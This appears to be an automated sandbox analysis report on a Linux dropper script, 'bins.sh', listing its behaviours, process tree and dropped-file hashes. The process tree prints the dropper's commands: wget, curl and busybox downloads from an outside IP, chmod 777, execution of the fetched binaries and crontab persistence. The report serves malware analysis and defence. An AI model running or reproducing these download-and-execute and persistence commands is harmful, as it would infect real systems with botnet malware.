Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/11/2024, 11:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-m8f7ps1erm
  • SHA256 31726b2c81c0bb80f99a8fe50b2b7f5b12de23e20af9821fed4c4caa2c2ca52f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2132) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1480
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:1493
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:1494
        • /bin/chmod
          chmod 777 vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • File and Directory Permissions Modification
          PID:1503
        • /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          ./vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Executes dropped EXE
          PID:1504
        • /bin/rm
          rm vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
            PID:1506
          • /usr/bin/wget
            wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/chmod
            chmod 777 AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • File and Directory Permissions Modification
            PID:1510
          • /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            ./AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Executes dropped EXE
            PID:1511
          • /bin/rm
            rm AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
              PID:1513
            • /usr/bin/wget
              wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:1516
            • /bin/chmod
              chmod 777 HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • File and Directory Permissions Modification
              PID:1517
            • /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              ./HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:1518
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:1520
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:1521
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:1522
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:1523
                  • /bin/rm
                    rm HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
                    2⤵
                      PID:1525
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                      2⤵
                        PID:1528

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw

                          • Path /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
                          • Size 111KB
                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                          • MD5 SHA1 SHA512 SSDEEP

                          HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm

                          • Path /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP

                          vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD

                          • Path /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
                          • Size 111KB
                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                          • MD5 SHA1 SHA512 SSDEEP

                          tmp.tEt9z2

                          • Path /var/spool/cron/crontabs/tmp.tEt9z2
                          • Size 210B
                          • SHA256 ec2d7a9ede0d334d614e68ddf753e7f8094eaea16e0beb85b2080a5f83cd4338
                          • MD5 SHA1 SHA512